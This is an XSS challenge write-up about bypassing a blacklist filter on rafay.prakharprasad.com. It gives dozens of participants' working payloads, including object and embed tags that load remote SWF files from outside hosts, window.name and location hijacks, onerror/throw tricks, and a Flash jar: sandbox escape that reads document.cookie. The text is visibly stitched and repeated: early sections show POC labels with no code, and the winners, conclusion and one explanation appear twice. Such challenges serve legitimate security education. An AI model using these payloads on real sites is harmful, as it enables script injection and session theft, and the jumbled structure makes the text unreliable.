RHA XSS Challenge 1 - Writeup
Update - The challenge is still up on hack.me - https://hack.me/101575/bypass-blacklist-based-waf-challenge.html
On 7th January 2014, we announced an XSS challenge for the whole infosec community, the challenge was based upon blacklist based protection and the task was to bypass the blacklist based protection and to execute the javascript. Based upon unique IP addresses we had 1740 participants and more then 80k unique vectors were recorded into our log file which is a tremendous turn out, the size of the log file was around 4.4 mb, which is pretty huge. Out of 1740 participants only 17 were able to solve it, which is less then 1% (0.97 to be exact).
Challenge Setup
To make your lives a bit harder, we induced certain amount of difficulties. Here is an overview of what we had done:- We blacklisted alert, prompt, confirm, document.write functions which are most commonly used to execute javascript.
- We blacklisted open & closed parenthesis, which is what most of the XSS vectors require.
- We blacklisted most commonly used event handlers such as onclick, onfocus etc
- We blacklisted the closing bracket ">".
- We blacklisted most of the attributes used to execute javascript such as src, formaction, action etc.
- We blacklisted "+" sign, which otherwise would had been used to concatenate javascript strings, however we did leave a room for it. (More on it later).
- The winners for the challenge would be decided on the basis of the shortest vector by length.
Hints
The two of most important hints we gave was as follows:
- Look at alternative javascript execution possibilities.
- The solution for the challenge was already given inside my "XSS filter evasion cheat sheet", however you would need tweak the payload. (Obviously, there was not point to the challenge, if the solution was already there).
Partial Bypass - Solution
As it was mentioned in one of the hints that you would need to look at alternative javascript execution possibilities. Almost all attributes were being filtered except the "code" and "data" attribute. The "code" attribute can be used along with the "embed" element and the "data" attribute can be object element to execute the javascript.
Vector #1
Several instances of the "Object" element were being filtered, however it wasn't difficult for some one to figure it out. The "data" attribute was being filtered out too, however case-sensitive based escaping was not being done. Therefore the final vector would be:
<OBJECt/DATA=//0x.lv/xss.swf??
Vector #2
A more easier partial solution would be to use "embed" element with "code" attribute:
<embed/code=//0x.lv/xss.swf??
The reason, why i have coined the solutions as "Partial solution" is because of the fact that the javascript does not executes under the context of the main domain, "rafay.prakharprasad.com", for it to be termed as a full solution, the javascript must be executed under the context of the challenge domain.
The following people who came up with partial bypass:
@yappare
@sasilevi
http://rafay.prakharprasad.com/?search=<Object/Data=//goo.gl/nlX0P?
@irsdl
http://rafay.prakharprasad.com/?search=<objecT/Data=//0x.lv/xss.swf?
@soaj1664ashar
http://rafay.prakharprasad.com/?search=<embed/code=//goo.gl/nlX0P?
@insertscript
http://rafay.prakharprasad.com/?search=%3CObjEct%2FdaTA=//dl.dropboxusercontent.com/u/13018058/ttt.htm?
@TurbanatorSJS
http://rafay.prakharprasad.com/?search=<embed/code=//jsfiddle.net/ETCMn?
Full Bypass - Solution
Let's first take a look at our solution and then take a look at amazing solutions from the community, we used window.open() function to set the name property to "javascript:alert(1)", we used string concatenation to join the "l" and "ocation" together, the "+" sign was being filtered out, however the encoded version of "+" was not being filtered out which is equivalent to "%2b".
Browsers: IE and Firefox
Browsers: IE and Firefox
<html><script> window.open('//rafay.prakharprasad.com/?search=%3Cbody/onload=this[/l/.source%2b/ocation/.source]=name//',"javascript:alert(1)"); </script></html>Let's now try the tremendous solutions we received from the community:
1)@skeptic_fx
Ahamed Nafeez was the first to solve the challenge by our expected method, The following solution works in Firefox w/o user interaction.
Length: 58 characters
POC #1
Later, he made it work inside both Internet explorer and Firefox:
Length: 121 characters
POC #2
Length: 366 Characters
POC
Length: 53 characters
POC
internet explorer.
Length: 27 Characters
POC
Length: 97 characters
POC
Along with his solution, he was kind enough to send an explanation on how it worked:
This solution relies upon setting the window.location property to a javascript URI. We can do this by accessing the property using the syntax with a string within brackets instead of the regular way (window["location"] versus window.location). Since a lot of strings were filtered (such as "alert" and "location"), we can use the same window.name trick to go transfer a string to the page. In the example I passed "javascript:alert(1)".
Sadly, only one string can be passed with that trick and as for the other string ("location"), I forged it by building a desired string out of another, character by character. But to do that I needed a string in the first place, so I used regex and addition to cast it into a string. /locatio/+/n/ becomes "/locatio//n/". From there we can just pick character by character and glue it together to make "location".
In the end we set window[string_from_regexes]=string_from_window_name, which becomes window["location"]="javascript:alert(1)", executing the alert.
Later, he came up with a chrome specific bypass of only 32 characters in length:
Length: 32 Characters
POC
Length: 57 characters
7)@philroberts &
Phil roberts next, came up with a huge and the most longest solution in terms of length.
Length: 527 characters
POC #1
Later, he managed to shorten it upto 97 characters:
Length: 97 Characters
POC #2
POC
Length: 28 characters
POC #1
Later masato came up with an amazing chrome specific solution:
Length: 25 characters
POC #2
Length: 77 characters
POC:
http://rafay.prakharprasad.com/?search=<svg/onload=t=/aler/.source%2b/t/.source;window.onerror=window[t];throw%2b1//
Length: 34 characters
POC
Length: 130 characters
Length: 71 characters
POC
Length: 63 characters
Length: 50 characters
POC
Length: 153 Characters
POC
Length: 24 characters
POC #1
http://rafay.prakharprasad.com/?search=<Object/Data=//0me.me/r
Along with it, he also sent an explanation on how he was able to bypass the flash sandbox security inside of firefox first and then for all browsers.
Source Code of the Flash File:
navigateToURL(new URLRequest("jar:javascript:alert('domain: '+document.domain+'\\r\\nCookies: '+document.cookie);"),"testme");
1- target page name has been set to "testme" as "", "_self", "_top", and "_parent" are not allowed when we do not have (allowScriptAccess="always") in Object tag in HTML. it causes Security sandbox violation. Therefore, I have chosen a name for my target page ("testme").
2- We cannot use Javascript: protocol in NavigateToURL as it raises another Security sandbox violation without having proper allowScriptAccess. However, if I use JAR: protocol, this will will be bypassed (http://soroush.secproject.com/blog/2013/10/catch-up-on-flash-xss-exploitation-part-2-navigatetourl-and-jar-protocol/).
3- Now I just need to open this Javascript protocol with Jar protocol in a blank page that inherits its opener. However, this method does not work in IE and Google Chrome very well as they do not popup a new window easily! We can still exploit this if our current window name is "testme" as it does not need to open a new window! as Iframe is blocked, we can use an A tag with target to "testme" which embeds the attacker's flash file! attacker's flash file will open a Javascript in "testme" (the same) window.
Obviously the solution can still be shortened by using a more smaller domain.
POC# 2
Length: 22 characters
Apart from firefox, Soroush also managed to bypass flash based sandbox protection inside of all the browsers and came up with an amazing 22 characters.
Solution
<a href="http://rafay.prakharprasad.com/?search=<Object/Data=//0me.me/" target="testme"> Click Here</a>
http://jsfiddle.net/P9trW/
http://jsfiddle.net/P9trW/1
Note: The bypasses have been patched by Flash security team as per now
Winners
The winners are obviously transparent from above solutions, the winners were determined based upon the length of the vector.
1) Soroush Dallili (22 Characters) // Cross Browser Bypass
2) Masato Kinugawa (25 Characters) // Chrome Specific Bypass
3) Yosuka Hasegawa (27 Characters) // Internet Explorer Specific Bypass
Conclusion
The challenge was based upon strict black list based filtering, however the bypasses prove that blacklist based filters shall not be relied as your only defense mechanisms.
In case, if i have missed any of your submission, please let me know, I'll update the challenge. I would like to sincerely thank "Frans Rosen", "Mathias" and "Prakhar Prasad" and "Alex Infuhr" for helping me analyzing the solutions and with other aspects of the challenge. I hope you had fun in doing the challenge and hopefully learned some thing new, just like us by analyzing your solutions.
I would love to hear your feedback! Pass your comments.
Length: 58 characters
POC #1
<html>
<script>
var a = window.open('http://rafay.prakharprasad.com/?search=<marquee/onstart=this[/innerHTM/.source%2Bname[0]]=name;//',
'L<img src=x onerror=alert(document.domain)>');
</script>
</html>
Later, he made it work inside both Internet explorer and Firefox:
Length: 121 characters
POC #2
http://rafay.prakharprasad.com/?search=<marquee/onstart=this[/innerHTM/.source%2B/L/.source]=window[/locatio/.source%2B/n/.source][/has/.source%2B/h/.source];//#<img src=x onerror=alert(document.domain)>
2)@fransrosen
Frans rosen came up with a very sophisticated bypass, The vector could had been shortened a lot though, but he decided not to do it, even though he could had. He used parentNode to walk to up the document, however all of these parentNodes could had been replaced with "top" or "self" and the POC still had worked, however this turns out to be a great technique in a case top and self keywords have been blacklisted.Length: 366 Characters
POC
http://rafay.prakharprasad.com/?search=%3Csvg/onload=g=parentNode.parentNode.parentNode.parentNode.parentNode.parentNode;h=g[/loc/.source%2b/ation/.source]; g[/loc/.source%2b/ation/.source]=/javascrip/.source%2b/t/.source%2bh[/has/.source%2b/h/.source][1]%2b/aler/.source%2b/t/.source%2bh[/has/.source%2b/h/.source][2]%2b/documen/.source%2b/t./.source%2b/domain/.source%2bh[/has/.source%2b/h/.source][3]%0c#:%28%29
3)@insertscript
Alex, next came up with a nice and clean cross-browser bypass:Length: 53 characters
POC
<div
onclick=window.open('http://rafay.prakharprasad.com/?search=<svg/onload=top[/locatio/.source%2b/n/.source]=name//',"javascript:alert(1)");>click</div>
4)@hasegawayosuke
Hasegawa next came up with an amazingly short IE9 specific bypass using "onactivate" event handler, which only works withinternet explorer.
Length: 27 Characters
POC
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<a href="http://rafay.prakharprasad.com/?search=<body/onactivate=URL=name//" target="javascript:alert(location.href)">Click Here</a>
</body>
</html>
5)@avlidienbrunn
Mathias came up with several different solutions namely a universal solution that would work on all browsers and a chrome specific bypass with shortened length.Length: 97 characters
POC
<script>window.open("http://rafay.prakharprasad.com/?search=<svg/onload=c=/locatio/+/n/;c=c[1]+c[2]+c[3]+c[4]+c[5]+c[6]+c[7]+c[10];window[c]=window.name%2509", "javascript:alert(1)");</script>
Along with his solution, he was kind enough to send an explanation on how it worked:
This solution relies upon setting the window.location property to a javascript URI. We can do this by accessing the property using the syntax with a string within brackets instead of the regular way (window["location"] versus window.location). Since a lot of strings were filtered (such as "alert" and "location"), we can use the same window.name trick to go transfer a string to the page. In the example I passed "javascript:alert(1)".
Sadly, only one string can be passed with that trick and as for the other string ("location"), I forged it by building a desired string out of another, character by character. But to do that I needed a string in the first place, so I used regex and addition to cast it into a string. /locatio/+/n/ becomes "/locatio//n/". From there we can just pick character by character and glue it together to make "location".
In the end we set window[string_from_regexes]=string_from_window_name, which becomes window["location"]="javascript:alert(1)", executing the alert.
Later, he came up with a chrome specific bypass of only 32 characters in length:
Length: 32 Characters
POC
data:text/html,<meta name="referrer" content="always"><img src=x onerror="if(/^data/.test(location.href)){window.name='innerHTML';location='http://rafay.prakharprasad.com/?search=%3Csvg/onload=body[name]=referrer%2509'}else{alert(1)}">
6)@yujikosuga
Yuji arrived in a bit late inside the challenge, but still managed to solve it in a decent amount of time.Length: 57 characters
<svg onload="name='javascript:alert(1)',location='//rafay.prakharprasad.com/?search=%3Cbody/onload=this[/l/.source%2b/ocation/.source]=name//'">
7)@philroberts & @adam_baldwin
Phil roberts next, came up with a huge and the most longest solution in terms of length.
Length: 527 characters
POC #1
http://rafay.prakharprasad.com/?search=%3Csvg/onload=z=[]%2batob;l=z[13];r=z[14];s=z[8];a=[]%2b/tnemucod/;a=a[8]%2ba[7]%2ba[6]%2ba[5]%2ba[4]%2ba[3]%2ba[2]%2ba[1];b=[]%2b/LMTHrenni/;b=b[9]%2bb[8]%2bb[7]%2bb[6]%2bb[5]%2bb[4]%2bb[3]%2bb[2]%2bb[1];c=[]%2b/Fa=crsFgmi%3C/;c=c[11]%2bc[10]%2bc[9]%2bc[8]%2bs%2bc[6]%2bc[5]%2bc[4]%2bc[3]%2bc[2]%2bs;d=[]%2b/X1Ztrela=rorreno/;d=d[16]%2bd[15]%2bd[14]%2bd[13]%2bd[12]%2bd[11] %2bd[10]%2bd[9]%2bd[8]%2bd[7]%2bd[6]%2bd[5]%2bd[4]%2bl%2bd[2]%2br;window[a].body[b]=c%2bd%2bwindow[a].body[b][8]//Update: Philip has written an explanation for his huge solution here - https://gist.github.com/latentflip/8580688
Later, he managed to shorten it upto 97 characters:
Length: 97 Characters
POC #2
<svg/onload=a=[]%2b/trela/;a=a[5]%2ba[4]%2ba[3]%2ba[2]%2ba[1];window.onerror=window[a];throw/1///
8)@mramydnei
Length: 140 charactersPOC
http://rafay.prakharprasad.com/?search=%3Csvg/onload=a=[]%2b/trela/;a=a[5]%2ba[4]%2ba[3]%2ba[2]%2ba[1];window.onerror=window[a];throw/1///
9)@kinugawamasato
King Masato surprised me with his amazing solutions, he first came up with a very sophisticated bypass and then managed to shorten the vectors up to 25 characters. How awesome is that!Length: 28 characters
POC #1
<script>The above vector would work upon both IE and chrome browsers, it won't work on firefox because of the fact that firefox encodes certain characters after the hash. The technique is very useful for bypassing server side filters as payload sent after the hash is not sent to the server and hence our WAF was not able to detect the payload and there managed to bypass.
window.name="innerHTML";
location.href="http://rafay.prakharprasad.com/?search=<svg/onload=body[name]=URL%0d#</svg><img src=x onerror=alert(1)>"
</script>
Later masato came up with an amazing chrome specific solution:
Length: 25 characters
POC #2
<script>
document.domain='com';
function go(){
w=window.open("http://rafay.prakharprasad.com/?search=<svg/onload=domain=name//","com");
var s=setInterval(function(){
if(w.document.domain=='com'){
w.alert(1);
clearInterval(s);
}
},100)
}
</script>
<button onclick=go()>go</button>
10) @dnkolegov
Denis, came up with three different solutions and in the end managed to shorten it upto 77 characters.Length: 77 characters
POC:
http://rafay.prakharprasad.com/?search=<svg/onload=t=/aler/.source%2b/t/.source;window.onerror=window[t];throw%2b1//
11) @0x6D6172696F
Dr Mario Heidrech also came up with a superb bypass using Vbscript, The current solution works upto IE 10. He was also able to solve the challenge inside of IE 11 by getting IE 11 to load up the page inside the document mode, however the solution cannot be disclosed yet as it's pending a fix.Length: 34 characters
POC
<svg/language=vbs onload=msgbox-1
12)Garrett Calpouzos
Garrett utilized the throw technique to solve the challenge, which was one of the hints which we i had given before.
<body/onload=a=/aler/.source;b=/t/.source;onerror=window[a%2bb];throw[base.parentNode.parentNode.parentNode.parentNode.domain];%09
13)@soaj1664ashar
Ashar javed came up with several partial bypasses and a full bypass:Length: 71 characters
POC
<body/onload=id=/al/.source%2b/ert/.source;onerror=this[id];throw%2b1//
14)@netfuzzer
Mario gomes came up with several valid solutions and finally managed to settle it without user interaction with a 63 character payload.Length: 63 characters
data:text/html,<script>window.name="javascript:alert(/XSSED/.source);";location="http://rafay.prakharprasad.com/?search=<svg/onload=window[/locatio/.source%252b/n/.source]=window.name//"</script>
15) @shafigullin
Shafigullin, as always came up with a very cool solution. He took the "l" character from the URL[61] and then concatinated the "l" to "ocation" from the ID attribute. A very neat trick to get things done.Length: 50 characters
POC
http://xss-shafigullin-pro.appspot.com/reflector?protection=0&content=%3Cscript%3Ename=%27javascript:alert(1)%27;location=%27http://rafay.prakharprasad.com/?search=%3Csvg/id=ocation%2509onload=top[URL[61]%252bid]=name%2509%27%3C/script%3E
The following is the payload that would be sent to the server:
<svg/id=ocation%09onload=top[URL[61]%2bid]=name%09
16)@cgvwzq
Pepevila also came up with an exceptional solution. In short, he stores "source" inside of the s variable and location inside the $ variable and top.location inside _ to shorten his vector. He then applies it to top[$] which is equivalent to (top["location"]), then he uses _.hash[1] to extract the ":" after the hash and finally extracts "-alert(1)" from location.pathname.Length: 153 Characters
POC
http://rafay.prakharprasad.com/1/-alert%281%29?search=%3Csvg/onload=s=/source/.source;$=/locatio/[s]%2B/n/[s];_=top[$];top[$]=/javascrip/[s]%2B/t/[s]%2B_[/has/[s]%2B/h/[s]][1]%2B_.pathname//#:
- http://bit.ly/1dgBYJT
17)@irsdl
Soroush was one the first to come up with a partial bypass, however later he surprised me by being able to execute javascript under the context of the challenge domain by loading an external flash file. He basically managed to bypass Flash sandbox security inside Firefox (and later all browsers) by using JAR protocol and NavigateToURL.Length: 24 characters
POC #1
http://rafay.prakharprasad.com/?search=<Object/Data=//0me.me/r
Along with it, he also sent an explanation on how he was able to bypass the flash sandbox security inside of firefox first and then for all browsers.
Source Code of the Flash File:
navigateToURL(new URLRequest("jar:javascript:alert('domain: '+document.domain+'\\r\\nCookies: '+document.cookie);"),"testme");
1- target page name has been set to "testme" as "", "_self", "_top", and "_parent" are not allowed when we do not have (allowScriptAccess="always") in Object tag in HTML. it causes Security sandbox violation. Therefore, I have chosen a name for my target page ("testme").
2- We cannot use Javascript: protocol in NavigateToURL as it raises another Security sandbox violation without having proper allowScriptAccess. However, if I use JAR: protocol, this will will be bypassed (http://soroush.secproject.com/blog/2013/10/catch-up-on-flash-xss-exploitation-part-2-navigatetourl-and-jar-protocol/).
3- Now I just need to open this Javascript protocol with Jar protocol in a blank page that inherits its opener. However, this method does not work in IE and Google Chrome very well as they do not popup a new window easily! We can still exploit this if our current window name is "testme" as it does not need to open a new window! as Iframe is blocked, we can use an A tag with target to "testme" which embeds the attacker's flash file! attacker's flash file will open a Javascript in "testme" (the same) window.
Obviously the solution can still be shortened by using a more smaller domain.
POC# 2
Length: 22 characters
Apart from firefox, Soroush also managed to bypass flash based sandbox protection inside of all the browsers and came up with an amazing 22 characters.
Solution
<a href="http://rafay.prakharprasad.com/?search=<Object/Data=//0me.me/" target="testme"> Click Here</a>
http://jsfiddle.net/P9trW/
http://jsfiddle.net/P9trW/1
Note: The bypasses have been patched by Flash security team as per now
Winners
The winners are obviously transparent from above solutions, the winners were determined based upon the length of the vector.
1) Soroush Dallili (22 Characters) // Cross Browser Bypass
2) Masato Kinugawa (25 Characters) // Chrome Specific Bypass
3) Yosuka Hasegawa (27 Characters) // Internet Explorer Specific Bypass
Conclusion
The challenge was based upon strict black list based filtering, however the bypasses prove that blacklist based filters shall not be relied as your only defense mechanisms.
In case, if i have missed any of your submission, please let me know, I'll update the challenge. I would like to sincerely thank "Frans Rosen", "Mathias" and "Prakhar Prasad" and "Alex Infuhr" for helping me analyzing the solutions and with other aspects of the challenge. I hope you had fun in doing the challenge and hopefully learned some thing new, just like us by analyzing your solutions.
I would love to hear your feedback! Pass your comments.